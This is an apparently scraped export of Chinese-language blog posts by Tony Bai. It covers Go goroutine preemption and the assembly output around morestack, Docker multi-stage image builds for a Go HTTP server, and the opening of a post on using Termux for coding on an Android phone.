我们以第一种方法为例：\n//github.com/bigwhite/experiments/go-sched-examples/case2.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;runtime\u0026quot; \u0026quot;time\u0026quot; ) func deadloop() { for { } } func main() { runtime.GOMAXPROCS(1) go deadloop() for { time.Sleep(time.Second * 1) fmt.Println(\u0026quot;I got scheduled!\u0026quot;) } } 运行这个程序后，你会发现main goroutine的”I got scheduled”字样再也无法输出了。这里的调度原理可以用下面图示说明：\ndeadloop goroutine在P1上被调度，由于deadloop内部逻辑没有给调度器任何抢占的机会，比如：进入runtime.morestack_noctxt。于是即便是sysmon这样的监控goroutine，也仅仅是能给deadloop goroutine的抢占标志位设为true而已。由于deadloop内部没有任何进入调度器代码的机会，Goroutine重新调度始终无法发生。main goroutine只能躺在P1的local queue中徘徊着。\n三、反转：如何在GOMAXPROCS=1的情况下，让main goroutine得到调度呢？ 我们做个反转：如何在GOMAXPROCS=1的情况下，让main goroutine得到调度呢？听说在Go中 “有函数调用，就有了进入调度器代码的机会”，我们来试验一下是否属实。我们在deadloop goroutine的for-loop逻辑中加上一个函数调用：\n// github.com/bigwhite/experiments/go-sched-examples/case3.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;runtime\u0026quot; \u0026quot;time\u0026quot; ) func add(a, b int) int { return a + b } func deadloop() { for { add(3, 5) } } func main() { runtime.GOMAXPROCS(1) go deadloop() for { time.Sleep(time.Second * 1) fmt.Println(\u0026quot;I got scheduled!\u0026quot;) } } 我们在deadloop goroutine的for loop中加入了一个add函数调用。我们来运行一下这个程序，看是否能达成我们的目的：\n$ go run case3.go “I got scheduled!”字样依旧没有出现在我们眼前！也就是说main goroutine没有得到调度！为什么呢？其实所谓的“有函数调用，就有了进入调度器代码的机会”，实际上是go compiler在函数的入口处插入了一个runtime的函数调用：runtime.morestack_noctxt。这个函数会检查是否扩容连续栈，并进入抢占调度的逻辑中。一旦所在goroutine被置为可被抢占的，那么抢占调度代码就会剥夺该Goroutine的执行权，将其让给其他goroutine。但是上面代码为什么没有实现这一点呢？我们需要在汇编层次看看go compiler生成的代码是什么样子的。\n查看Go程序的汇编代码有许多种方法：\n使用objdump工具：objdump -S go-binary 使用gdb disassemble 构建go程序同时生成汇编代码文件：go build -gcflags ‘-S’ xx.go \u0026gt; xx.s 2\u0026gt;\u0026amp;1 将Go代码编译成汇编代码：go tool compile -S xx.go \u0026gt; xx.s 使用go tool工具反编译Go程序：go tool objdump -S go-binary \u0026gt; xx.s 我们这里使用最后一种方法：利用go tool objdump反编译(并结合其他输出的汇编形式)：\n$go build -o case3 case3.go $go tool objdump -S case3 \u0026gt; case3.s 打开case3.s，搜索main.add，我们居然找不到这个函数的汇编代码，而main.deadloop的定义如下：\nTEXT main.deadloop(SB) github.com/bigwhite/experiments/go-sched-examples/case3.go for { 0x1093a10 ebfe JMP main.deadloop(SB) 0x1093a12 cc INT $0x3 0x1093a13 cc INT $0x3 0x1093a14 cc INT $0x3 0x1093a15 cc INT $0x3 ... ... 0x1093a1f cc INT $0x3 我们看到deadloop中对add的调用也消失了。这显然是go compiler执行生成代码优化的结果，因为add的调用对deadloop的行为结果没有任何影响。我们关闭优化再来试试：\n$go build -gcflags '-N -l' -o case3-unoptimized case3.go $go tool objdump -S case3-unoptimized \u0026gt; case3-unoptimized.s 打开 case3-unoptimized.s查找main.add，这回我们找到了它：\nTEXT main.add(SB) github.com/bigwhite/experiments/go-sched-examples/case3.go func add(a, b int) int { 0x1093a10 48c744241800000000 MOVQ $0x0, 0x18(SP) return a + b 0x1093a19 488b442408 MOVQ 0x8(SP), AX 0x1093a1e 4803442410 ADDQ 0x10(SP), AX 0x1093a23 4889442418 MOVQ AX, 0x18(SP) 0x1093a28 c3 RET 0x1093a29 cc INT $0x3 ... ... 0x1093a2f cc INT $0x3 deadloop中也有了对add的显式调用：\nTEXT main.deadloop(SB) github.com/bigwhite/experiments/go-sched-examples/case3.go ... ... 0x1093a51 48c7042403000000 MOVQ $0x3, 0(SP) 0x1093a59 48c744240805000000 MOVQ $0x5, 0x8(SP) 0x1093a62 e8a9ffffff CALL main.add(SB) for { 0x1093a67 eb00 JMP 0x1093a69 0x1093a69 ebe4 JMP 0x1093a4f ... ... 不过我们这个程序中的main goroutine依旧得不到调度，因为在main.add代码中，我们没有发现morestack函数的踪迹，也就是说即便调用了add函数，deadloop也没有机会进入到runtime的调度逻辑中去。\n不过，为什么Go compiler没有在main.add函数中插入morestack的调用呢？那是因为add函数位于调用树的leaf(叶子）位置，compiler可以确保其不再有新栈帧生成，不会导致栈分裂或超出现有栈边界，于是就不再插入morestack。而位于morestack中的调度器的抢占式检查也就无法得以执行。下面是go build -gcflags ‘-S’方式输出的case3.go的汇编输出：\n\u0026quot;\u0026quot;.add STEXT nosplit size=19 args=0x18 locals=0x0 TEXT \u0026quot;\u0026quot;.add(SB), NOSPLIT, $0-24 FUNCDATA $0, gclocals·54241e171da8af6ae173d69da0236748(SB) FUNCDATA $1, gclocals·33cdeccccebe80329f1fdbee7f5874cb(SB) MOVQ \u0026quot;\u0026quot;.b+16(SP), AX MOVQ \u0026quot;\u0026quot;.a+8(SP), CX ADDQ CX, AX MOVQ AX, \u0026quot;\u0026quot;.~r2+24(SP) RET 我们看到nosplit字样，这就说明add使用的栈是固定大小，不会再split，且size为24字节。\n关于在for loop中的leaf function是否应该插入morestack目前还有一定争议，将来也许会对这样的情况做特殊处理。\n既然明白了原理，我们就在deadloop和add之间加入一个dummy函数，见下面case4.go代码：\n//github.com/bigwhite/experiments/go-sched-examples/case4.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;runtime\u0026quot; \u0026quot;time\u0026quot; ) //go:noinline func add(a, b int) int { return a + b } func dummy() { add(3, 5) } func deadloop() { for { dummy() } } func main() { runtime.GOMAXPROCS(1) go deadloop() for { time.Sleep(time.Second * 1) fmt.Println(\u0026quot;I got scheduled!\u0026quot;) } } 执行该代码：\n$go run case4.go I got scheduled! I got scheduled! I got scheduled! Wow! main goroutine果然得到了调度。我们再来看看go compiler为程序生成的汇编代码：\n$go build -gcflags '-N -l' -o case4 case4.go $go tool objdump -S case4 \u0026gt; case4.s TEXT main.add(SB) github.com/bigwhite/experiments/go-sched-examples/case4.go func add(a, b int) int { 0x1093a10 48c744241800000000 MOVQ $0x0, 0x18(SP) return a + b 0x1093a19 488b442408 MOVQ 0x8(SP), AX 0x1093a1e 4803442410 ADDQ 0x10(SP), AX 0x1093a23 4889442418 MOVQ AX, 0x18(SP) 0x1093a28 c3 RET 0x1093a29 cc INT $0x3 0x1093a2a cc INT $0x3 ... ... TEXT main.dummy(SB) github.com/bigwhite/experiments/go-sched-examples/case4.s func dummy() { 0x1093a30 65488b0c25a0080000 MOVQ GS:0x8a0, CX 0x1093a39 483b6110 CMPQ 0x10(CX), SP 0x1093a3d 762e JBE 0x1093a6d 0x1093a3f 4883ec20 SUBQ $0x20, SP 0x1093a43 48896c2418 MOVQ BP, 0x18(SP) 0x1093a48 488d6c2418 LEAQ 0x18(SP), BP add(3, 5) 0x1093a4d 48c7042403000000 MOVQ $0x3, 0(SP) 0x1093a55 48c744240805000000 MOVQ $0x5, 0x8(SP) 0x1093a5e e8adffffff CALL main.add(SB) } 0x1093a63 488b6c2418 MOVQ 0x18(SP), BP 0x1093a68 4883c420 ADDQ $0x20, SP 0x1093a6c c3 RET 0x1093a6d e86eacfbff CALL runtime.morestack_noctxt(SB) 0x1093a72 ebbc JMP main.dummy(SB) 0x1093a74 cc INT $0x3 0x1093a75 cc INT $0x3 0x1093a76 cc INT $0x3 .... .... 我们看到main.add函数依旧是leaf，没有morestack插入；但在新增的dummy函数中我们看到了CALL runtime.morestack_noctxt(SB)的身影。\n四、为何runtime.morestack_noctxt(SB)放到了RET后面？ 在传统印象中，morestack是放在函数入口处的。但实际编译出来的汇编代码中(见上面函数dummy的汇编)，runtime.morestack_noctxt(SB)却放在了RET的后面。解释这个问题，我们最好来看一下另外一种形式的汇编输出(go build -gcflags ‘-S’方式输出的格式)：\n\u0026quot;\u0026quot;.dummy STEXT size=68 args=0x0 locals=0x20 0x0000 00000 TEXT \u0026quot;\u0026quot;.dummy(SB), $32-0 0x0000 00000 MOVQ (TLS), CX 0x0009 00009 CMPQ SP, 16(CX) 0x000d 00013 JLS 61 0x000f 00015 SUBQ $32, SP 0x0013 00019 MOVQ BP, 24(SP) 0x0018 00024 LEAQ 24(SP), BP ... ... 0x001d 00029 MOVQ $3, (SP) 0x0025 00037 MOVQ $5, 8(SP) 0x002e 00046 PCDATA $0, $0 0x002e 00046 CALL \u0026quot;\u0026quot;.add(SB) 0x0033 00051 MOVQ 24(SP), BP 0x0038 00056 ADDQ $32, SP 0x003c 00060 RET 0x003d 00061 NOP 0x003d 00061 PCDATA $0, $-1 0x003d 00061 CALL runtime.morestack_noctxt(SB) 0x0042 00066 JMP 0 我们看到在函数入口处，compiler插入三行汇编：\n0x0000 00000 MOVQ (TLS), CX // 将TLS的值(GS:0x8a0)放入CX寄存器 0x0009 00009 CMPQ SP, 16(CX) //比较SP与CX+16的值 0x000d 00013 JLS 61 // 如果SP \u0026gt; CX + 16，则jump到61这个位置 这种形式输出的是标准Plan9的汇编语法，资料很少（比如JLS跳转指令的含义），注释也是大致猜测的。如果跳转，则进入到 runtime.morestack_noctxt，从 runtime.morestack_noctxt返回后，再次jmp到开头执行。\n为什么要这么做呢？按照go team的说法，是为了更好的利用现代CPU的“static branch prediction”，提升执行性能。\n五、参考资料 《A Quick Guide to Go’s Assembler》 《Go’s work-stealing scheduler》 文中的代码可以点击这里下载。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n微信赞赏：\n","permalink":"https://tonybai.com/2017/11/23/the-simple-analysis-of-goroutine-schedule-examples/","summary":"\u003cp\u003e前两天一位网友在\u003ca href=\"https://weibo.com/bigwhite20xx\"\u003e微博\u003c/a\u003e私信我这样一个问题：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e抱歉打扰您咨询您一个关于\u003ca href=\"http://tonybai.com/tag/go\"\u003eGo\u003c/a\u003e的问题：对于goroutine的概念我是明了的，但很疑惑goroutine的调度问题, 根据《\u003ca href=\"https://book.douban.com/subject/11577300/\"\u003eGo语言编程\u003c/a\u003e》一书：“当一个任务正在执行时，外部没有办法终止它。要进行任务切换，只能通过由该任务自身调用yield()来主动出让CPU使用权。” 那么，假设我的goroutine是一个死循环的话，是否其它goroutine就没有执行的机会呢？我测试的结果是这些goroutine会轮流执行。那么除了\u003ca href=\"https://golang.org/pkg/syscall/\"\u003esyscall\u003c/a\u003e时会主动出让cpu时间外，我的死循环goroutine 之间是怎么做到切换的呢？\u003c/p\u003e","title":"Goroutine调度实例简要分析"},{"content":"Docker技术从2013年诞生到目前已经4年有余了。对于已经接纳和使用Docker技术在日常开发工作中的开发者而言，构建Docker镜像已经是家常便饭。但这是否意味着Docker的image构建机制已经相对完美了呢？不是的，Docker官方依旧在持续优化镜像构建机制。这不，从今年发布的Docker 17.05版本起，Docker开始支持容器镜像的多阶段构建(multi-stage build)了。\n什么是镜像多阶段构建呢？直接给出概念定义太突兀，这里先卖个关子，我们先从日常开发中用到的镜像构建的方式和所遇到的镜像构建的问题说起。\n一、同构的镜像构建 我们在做镜像构建时的一个常见的场景就是：应用在开发者自己的开发机或服务器上直接编译，编译出的二进制程序再打入镜像。这种情况一般要求编译环境与镜像所使用的base image是兼容的，比如说：我在Ubuntu 14.04上编译应用，并将应用打入基于ubuntu系列base image的镜像。这种构建我称之为“同构的镜像构建”，因为应用的编译环境与其部署运行的环境是兼容的：我在Ubuntu 14.04下编译出来的应用，可以基本无缝地在基于ubuntu:14.04及以后版本base image镜像(比如：16.04、16.10、17.10等)中运行；但在不完全兼容的base image中，比如centos中就可能会运行失败。\n1、同构镜像构建举例 这里举个同构镜像构建的例子(后续的章节也是基于这个例子的)，注意：我们的编译环境为Ubuntu 16.04 x86_64虚拟机、Go 1.8.3和docker 17.09.0-ce。\n我们用一个Go语言中最常见的http server作为例子：\n// github.com/bigwhite/experiments/multi_stage_image_build/isomorphism/httpserver.go package main import ( \u0026quot;net/http\u0026quot; \u0026quot;log\u0026quot; \u0026quot;fmt\u0026quot; ) func home(w http.ResponseWriter, req *http.Request) { w.Write([]byte(\u0026quot;Welcome to this website!\\n\u0026quot;)) } func main() { http.HandleFunc(\u0026quot;/\u0026quot;, home) fmt.Println(\u0026quot;Webserver start\u0026quot;) fmt.Println(\u0026quot; -\u0026gt; listen on port:1111\u0026quot;) err := http.ListenAndServe(\u0026quot;:1111\u0026quot;, nil) if err != nil { log.Fatal(\u0026quot;ListenAndServe:\u0026quot;, err) } } 编译这个程序：\n# go build -o myhttpserver httpserver.go # ./myhttpserver Webserver start -\u0026gt; listen on port:1111 这个例子看起来很简单，也没几行代码，但背后Go net/http包在底层做了大量的事情，包括很多系统调用，能够反映出应用与操作系统的“耦合”，这在后续的讲解中会体现出来。接下来我们就来为这个程序构建一个docker image，并基于这个image来启动一个myhttpserver容器。我们选择ubuntu:14.04作为base image：\n// github.com/bigwhite/experiments/multi_stage_image_build/isomorphism/Dockerfile From ubuntu:14.04 COPY ./myhttpserver /root/myhttpserver RUN chmod +x /root/myhttpserver WORKDIR /root ENTRYPOINT [\u0026quot;/root/myhttpserver\u0026quot;] 执行构建： # docker build -t myrepo/myhttpserver:latest . Sending build context to Docker daemon 5.894MB Step 1/5 : FROM ubuntu:14.04 ---\u0026gt; dea1945146b9 Step 2/5 : COPY ./myhttpserver /root/myhttpserver ---\u0026gt; 993e5129c081 Step 3/5 : RUN chmod +x /root/myhttpserver ---\u0026gt; Running in 104d84838ab2 ---\u0026gt; ebaeca006490 Removing intermediate container 104d84838ab2 Step 4/5 : WORKDIR /root ---\u0026gt; 7afdc2356149 Removing intermediate container 450ccfb09ffd Step 5/5 : ENTRYPOINT /root/myhttpserver ---\u0026gt; Running in 3182766e2a68 ---\u0026gt; 77f315e15f14 Removing intermediate container 3182766e2a68 Successfully built 77f315e15f14 Successfully tagged myrepo/myhttpserver:latest # docker images REPOSITORY TAG IMAGE ID CREATED SIZE myrepo/myhttpserver latest 77f315e15f14 18 seconds ago 200MB # docker run myrepo/myhttpserver Webserver start -\u0026gt; listen on port:1111 以上是最基本的image build方法。\n接下来，我们可能会遇到如下需求：\n* 搭建一个Go程序的构建环境有时候是很耗时的，尤其是对那些依赖很多第三方开源包的Go应用来说，下载包就需要很长时间。我们最好将这些易变的东西统统打包到一个用于Go程序构建的builder image中；\n* 我们看到上面我们构建出的myrepo/myhttpserver image的SIZE是200MB，这似乎有些过于“庞大”了。虽然每个主机node上的docker有cache image layer的能力，但我们还是希望能build出更加精简短小的image。\n2、借助golang builder image Docker Hub上提供了一个带有go dev环境的官方golang image repository，我们可以直接使用这个golang builder image来辅助构建我们的应用image；对于一些对第三方包依赖较多的Go应用，我们也可以以这个golang image为base image定制我们自己的专用builder image。\n我们基于golang:latest这个base image构建我们的golang-builder image，我们编写一个Dockerfile.build用于build golang-builder image:\n// github.com/bigwhite/experiments/multi_stage_image_build/isomorphism/Dockerfile.build FROM golang:latest WORKDIR /go/src COPY httpserver.go . RUN go build -o myhttpserver ./httpserver.go 在同目录下构建golang-builder image:\n# docker build -t myrepo/golang-builder:latest -f Dockerfile.build . Sending build context to Docker daemon 5.895MB Step 1/4 : FROM golang:latest ---\u0026gt; 1a34fad76b34 Step 2/4 : WORKDIR /go/src ---\u0026gt; 2361824677d3 Removing intermediate container 01d8f4e9f0c4 Step 3/4 : COPY httpserver.go . ---\u0026gt; 1ff14bb0bc56 Step 4/4 : RUN go build -o myhttpserver ./httpserver.go ---\u0026gt; Running in 37a1b76b7b9e ---\u0026gt; 2ac5347bb923 Removing intermediate container 37a1b76b7b9e Successfully built 2ac5347bb923 Successfully tagged myrepo/golang-builder:latest REPOSITORY TAG IMAGE ID CREATED SIZE myrepo/golang-builder latest 2ac5347bb923 3 minutes ago 739MB 接下来，我们就基于golang-builder中已经build完毕的myhttpserver来构建我们最终的应用image：\n# docker create --name appsource myrepo/golang-builder:latest # docker cp appsource:/go/src/myhttpserver ./ # docker rm -f appsource # docker rmi myrepo/golang-builder:latest # docker build -t myrepo/myhttpserver:latest . 这段命令的逻辑就是从基于golang-builder image启动的容器appsource中将已经构建完毕的myhttpserver拷贝到主机当前目录中，然后删除临时的container appsource以及上面构建的那个golang-builder image；最后的步骤和第一个例子一样，基于本地目录中的已经构建完的myhttpserver构建出最终的image。为了方便，你也可以将这一系列命令放到一个Makefile中去。\n3、使用size更小的alpine image builder image并不能帮助我们为最终的应用image“减重”，myhttpserver image的Size依旧停留在200MB。要想“减重”，我们需要更小的base image，我们选择了alpine。Alpine image的size不到4M，再加上应用的size，最终应用Image的Size估计可以缩减到20M以下。\n结合builder image，我们只需将Dockerfile的base image改为alpine:latest：\n// github.com/bigwhite/experiments/multi_stage_image_build/isomorphism/Dockerfile.alpine From alpine:latest COPY ./myhttpserver /root/myhttpserver RUN chmod +x /root/myhttpserver WORKDIR /root ENTRYPOINT [\u0026quot;/root/myhttpserver\u0026quot;] 构建alpine版应用image:\n# docker build -t myrepo/myhttpserver-alpine:latest -f Dockerfile.alpine . Sending build context to Docker daemon 6.151MB Step 1/5 : FROM alpine:latest ---\u0026gt; 053cde6e8953 Step 2/5 : COPY ./myhttpserver /root/myhttpserver ---\u0026gt; ca0527a62d39 Step 3/5 : RUN chmod +x /root/myhttpserver ---\u0026gt; Running in 28d0a8a577b2 ---\u0026gt; a3833af97b5e Removing intermediate container 28d0a8a577b2 Step 4/5 : WORKDIR /root ---\u0026gt; 667345b78570 Removing intermediate container fa59883e9fdb Step 5/5 : ENTRYPOINT /root/myhttpserver ---\u0026gt; Running in adcb5b976ca3 ---\u0026gt; 582fa2aedc64 Removing intermediate container adcb5b976ca3 Successfully built 582fa2aedc64 Successfully tagged myrepo/myhttpserver-alpine:latest # docker images REPOSITORY TAG IMAGE ID CREATED SIZE myrepo/myhttpserver-alpine latest 582fa2aedc64 4 minutes ago 16.3MB 16.3MB，Size的确降下来了！我们基于该image启动一个容器，看应用运行是否有什么问题：\n# docker run myrepo/myhttpserver-alpine:latest standard_init_linux.go:185: exec user process caused \u0026quot;no such file or directory\u0026quot; 容器启动失败了！为什么呢？因为alpine image并非ubuntu环境的同构image。我们在下面详细说明。\n二、异构的镜像构建 我们的image builder: myrepo/golang-builder:latest是基于golang:latest这个image。golang base image有两个模板：Dockerfile-debain.template和Dockerfile-alpine.template。而golang:latest是基于debian模板的，与ubuntu兼容。构建出来的myhttpserver对动态共享链接库的情况如下：\n# ldd myhttpserver linux-vdso.so.1 =\u0026gt; (0x00007ffd0c355000) libpthread.so.0 =\u0026gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ffa8b36f000) libc.so.6 =\u0026gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffa8afa5000) /lib64/ld-linux-x86-64.so.2 (0x000055605ea5d000) debian系的linux distribution使用了glibc。但alpine则不同，alpine使用的是musl libc的实现，因此当我们运行上面的那个容器时，加载器因找不到myhttpserver依赖的libc.so.6而失败退出。\n这种构建环境与运行环境不兼容的情况我这里称之为“异构的镜像构建”。那么如何解决这个问题呢？我们继续看：\n1、静态构建 在主流编程语言中，Go的移植性已经是数一数二的了，尤其是Go 1.5之后，Go将runtime中的C代码都用Go重写了，对libc的依赖已经降到最低了，但仍有一些feature提供了两个版本的实现：C实现和Go实现。并且默认情况下，即在CGO_ENABLED=1的情况下，程序和预编译的标准库都采用了C的实现。关于这方面的详细论述请参见我之前写的《也谈Go的可移植性》一文，这里就不赘述了。于是采用了不同libc实现的debian系和alpine系自然存在不兼容的情况。要解决这个问题，我们首先考虑对Go程序进行静态构建，然后将静态构建后的Go应用放入alpine image中。\n我们修改一下Dockerfile.build，在编译Go源文件时加上CGO_ENABLED=0：\n// github.com/bigwhite/experiments/multi_stage_image_build/heterogeneous/Dockerfile.build FROM golang:latest WORKDIR /go/src COPY httpserver.go . RUN CGO_ENABLED=0 go build -o myhttpserver ./httpserver.go 构建这个builder image：\n# docker build -t myrepo/golang-static-builder:latest -f Dockerfile.build . Sending build context to Docker daemon 4.096kB Step 1/4 : FROM golang:latest ---\u0026gt; 1a34fad76b34 Step 2/4 : WORKDIR /go/src ---\u0026gt; 593cd9692019 Removing intermediate container ee005d487ad5 Step 3/4 : COPY httpserver.go . ---\u0026gt; a095eb69e716 Step 4/4 : RUN CGO_ENABLED=0 go build -o myhttpserver ./httpserver.go ---\u0026gt; Running in d9f3b3a6c36c ---\u0026gt; c06fe8dccbad Removing intermediate container d9f3b3a6c36c Successfully built c06fe8dccbad Successfully tagged myrepo/golang-static-builder:latest # docker images REPOSITORY TAG IMAGE ID CREATED SIZE myrepo/golang-static-builder latest c06fe8dccbad 31 seconds ago 739MB 接下来，我们再基于golang-static-builder中已经build完毕的静态连接的myhttpserver来构建我们最终的应用image：\n# docker create --name appsource myrepo/golang-static-builder:latest # docker cp appsource:/go/src/myhttpserver ./ # ldd myhttpserver not a dynamic executable # docker rm -f appsource # docker rmi myrepo/golang-static-builder:latest # docker build -t myrepo/myhttpserver-alpine:latest -f Dockerfile.alpine . 运行新image:\n# docker run myrepo/myhttpserver-alpine:latest Webserver start -\u0026gt; listen on port:1111 Note: 我们可以用strace来证明静态连接时Go只使用的是Go自己的runtime实现，而并未使用到libc.a中的代码：\n# CGO_ENABLED=0 strace -f go build httpserver.go 2\u0026gt;\u0026amp;1 | grep open | grep -o '/.*\\.a' \u0026gt; go-static-build-strace-file-open.txt 打开go-static-build-strace-file-open.txt文件查看文件内容，你不会找到libc.a这个文件（在Ubuntu下，一般libc.a躺在/usr/lib/x86_64-linux-gnu/下面），这说明go build根本没有尝试去open libc.a文件并获取其中的符号定义。\n2、使用alpine golang builder 我们的Go应用运行在alpine based的container中，我们可以使用alpine golang builder来构建我们的应用(无需静态链接)。前面提到过golang有alpine模板：\nREPOSITORY TAG IMAGE ID CREATED SIZE golang alpine 9e3f14138abd 7 days ago 269MB alpine版golang builder的Dockerfile内容如下：\n//github.com/bigwhite/experiments/multi_stage_image_build/heterogeneous/Dockerfile.alpine.build FROM golang:alpine WORKDIR /go/src COPY httpserver.go . RUN go build -o myhttpserver ./httpserver.go 后续的操作与前面golang builder的操作并不二致：利用alpine golang builder构建我们的应用，并将其打入alpine image，这里就不赘述了。\n三、多阶段镜像构建：提升开发者体验 在Docker 17.05以前，我们都是像上面那样构建镜像的。你会发现即便采用异构image builder模式，我们也要维护两个Dockerfile，并且还要在docker build命令之外执行一些诸如从容器内copy应用程序、清理build container和build image等的操作。Docker社区看到了这个问题，于是实现了多阶段镜像构建机制（multi-stage）。\n我们先来看一下针对上面例子，multi-stage build所使用Dockerfile：\n//github.com/bigwhite/experiments/multi_stage_image_build/multi_stages/Dockerfile FROM golang:alpine as builder WORKDIR /go/src COPY httpserver.go . RUN go build -o myhttpserver ./httpserver.go From alpine:latest WORKDIR /root/ COPY --from=builder /go/src/myhttpserver . RUN chmod +x /root/myhttpserver ENTRYPOINT [\u0026quot;/root/myhttpserver\u0026quot;] 看完这个Dockerfile的内容，你的第一赶脚是不是把之前的两个Dockerfile合并在一块儿了，每个Dockerfile单独作为一个“阶段”！事实也是这样，但这个Docker也多了一些新的语法形式，用于建立各个“阶段”之间的联系。针对这样一个Dockerfile，我们应该知道以下几点：\n支持Multi-stage build的Dockerfile在以往的多个build阶段之间建立内在连接，让后一个阶段构建可以使用前一个阶段构建的产物，形成一条构建阶段的chain； Multi-stages build的最终结果仅产生一个image，避免产生冗余的多个临时images或临时容器对象，这正是我们所需要的：我们只要结果。 我们来使用multi-stage来build一下上述例子：\n# docker build -t myrepo/myhttserver-multi-stage:latest . Sending build context to Docker daemon 3.072kB Step 1/9 : FROM golang:alpine as builder ---\u0026gt; 9e3f14138abd Step 2/9 : WORKDIR /go/src ---\u0026gt; Using cache ---\u0026gt; 7a99431d1be6 Step 3/9 : COPY httpserver.go . ---\u0026gt; 43a196658e09 Step 4/9 : RUN go build -o myhttpserver ./httpserver.go ---\u0026gt; Running in 9e7b46f68e88 ---\u0026gt; 90dc73912803 Removing intermediate container 9e7b46f68e88 Step 5/9 : FROM alpine:latest ---\u0026gt; 053cde6e8953 Step 6/9 : WORKDIR /root/ ---\u0026gt; Using cache ---\u0026gt; 30d95027ee6a Step 7/9 : COPY --from=builder /go/src/myhttpserver . ---\u0026gt; f1620b64c1ba Step 8/9 : RUN chmod +x /root/myhttpserver ---\u0026gt; Running in e62809993a22 ---\u0026gt; 6be6c28f5fd6 Removing intermediate container e62809993a22 Step 9/9 : ENTRYPOINT /root/myhttpserver ---\u0026gt; Running in e4000d1dde3d ---\u0026gt; 639cec396c96 Removing intermediate container e4000d1dde3d Successfully built 639cec396c96 Successfully tagged myrepo/myhttserver-multi-stage:latest # docker images REPOSITORY TAG IMAGE ID CREATED SIZE myrepo/myhttserver-multi-stage latest 639cec396c96 About an hour ago 16.3MB 我们来Run一下这个image：\n# docker run myrepo/myhttserver-multi-stage:latest Webserver start -\u0026gt; listen on port:1111 四、小结 多阶段镜像构建可以让开发者通过一个Dockerfile，一次性地、更容易地构建出size较小的image，体验良好并且更容易接入CI/CD等自动化系统。不过当前多阶段构建仅是在Docker 17.05及之后的版本中才能得到支持。如果想学习和实践这方面功能，但又没有环境，可以使用play-with-docker提供的实验环境。\nPlay with Docker labs\n以上所有示例代码可以在这里下载到。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/11/11/multi-stage-image-build-in-docker/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/tag/docker\"\u003eDocker\u003c/a\u003e技术从\u003ca href=\"https://www.infoq.com/news/2013/03/Docker\"\u003e2013年诞生\u003c/a\u003e到目前已经4年有余了。对于已经接纳和使用\u003ca href=\"https://en.wikipedia.org/wiki/Docker_(software)\"\u003eDocker技术\u003c/a\u003e在日常开发工作中的开发者而言，构建\u003ca href=\"https://docs.docker.com/get-started\"\u003eDocker镜像\u003c/a\u003e已经是家常便饭。但这是否意味着Docker的image构建机制已经相对完美了呢？不是的，Docker官方依旧在持续优化镜像构建机制。这不，从今年发布的\u003ca href=\"https://github.com/moby/moby/releases/tag/v17.05.0-ce\"\u003eDocker 17.05版本\u003c/a\u003e起，Docker开始支持容器镜像的\u003ca href=\"https://docs.docker.com/engine/userguide/eng-image/multistage-build/\"\u003e多阶段构建(multi-stage build)\u003c/a\u003e了。\u003c/p\u003e\n\u003cp\u003e什么是\u003ca href=\"https://docs.docker.com/engine/userguide/eng-image/multistage-build/\"\u003e镜像多阶段构建\u003c/a\u003e呢？直接给出概念定义太突兀，这里先卖个关子，我们先从日常开发中用到的镜像构建的方式和所遇到的镜像构建的问题说起。\u003c/p\u003e\n\u003ch2 id=\"一同构的镜像构建\"\u003e一、同构的镜像构建\u003c/h2\u003e\n\u003cp\u003e我们在做镜像构建时的一个常见的场景就是：应用在开发者自己的开发机或服务器上直接编译，编译出的二进制程序再打入镜像。这种情况一般要求编译环境与镜像所使用的base image是兼容的，比如说：我在\u003ca href=\"https://hub.docker.com/_/ubuntu/\"\u003eUbuntu 14.04\u003c/a\u003e上编译应用，并将应用打入基于\u003ca href=\"https://hub.docker.com/_/ubuntu/\"\u003eubuntu系列base image\u003c/a\u003e的镜像。这种构建我称之为“同构的镜像构建”，因为应用的编译环境与其部署运行的环境是兼容的：我在Ubuntu 14.04下编译出来的应用，可以基本无缝地在基于ubuntu:14.04及以后版本base image镜像(比如：16.04、16.10、17.10等)中运行；但在不完全兼容的base image中，比如\u003ca href=\"https://hub.docker.com/_/centos/\"\u003ecentos\u003c/a\u003e中就可能会运行失败。\u003c/p\u003e","title":"理解Docker的多阶段镜像构建"},{"content":"程序员或多或少都有一颗Geek(极客)的心^0^。- Tony Bai\n折腾开始。\n这一切都源于前不久将手机换成了Xiaomi的MIX2。因为青睐开放的系统（相对于水果公司系统的封闭，当然Mac笔记本除外^0^），我长期使用Android平台的手机。但之前被三星Note3手机的“大屏”搞的不是很舒服，这两年一直用5寸及以下的手机，因为单手操作体验良好。MIX2的所谓“全面屏”概念又让我回归到了大屏时代。\n除了大屏，现在手机“豪华”的硬件配置也让人惊叹：高通骁龙835，8核，最高主频 2.45GHz；6GB以上的LPDDR4x的双通道大内存，怪不得微软和高通都开始合作生产基于高通ARM处理器的Win10笔记本了，这配置支撑在笔记本上办公+浏览网页绰绰有余。不过对于不怎么玩游戏的我而言，这种配置仅仅用作手机日常功能有些浪费。于是有了“mobile coding”的想法和需求，至少现在是这样想的，冲动也好，伪需求也好，先实现了再说。\n一、神器Termux，不仅仅是一个terminal emulator 所谓”mobile coding”不仅仅是要通过手机ssh到服务器端进行coding，还要支持在手机上搭建一个dev环境。dev环境这个需求是以往我安装的ConnectBot等ssh client端工具所无法提供的，而其他一些terminal工具，诸如Terminal Emulator for Android仅仅提供一些shell命令的支持，适合于那些喜爱使用命令行对Android机器进行管理的”administrator”们，但对dev环境的搭建支持有限的。于是神器Termux登场了。\nTermux是什么？Termux首先是一个Android terminal emulator，可以像那些terminal工具一样，提供基本的shell操作命令；除此之外更为重要的是它不仅仅是一个terminal emulator。Termux提供了一套模拟的Linux环境，你可以在无需root、无需root、无需root的情况下，像在PC linux环境下一样进行各种Linux操作，包括使用apt工具进行安装包管理、定制shell、访问网络、编写源码、编译和运行程序，甚至将手机作为反向代理、负载均衡服务器或是Web服务器，又或是做一些羞羞的hack行为等。\n1、安装 Termux仅支持Android 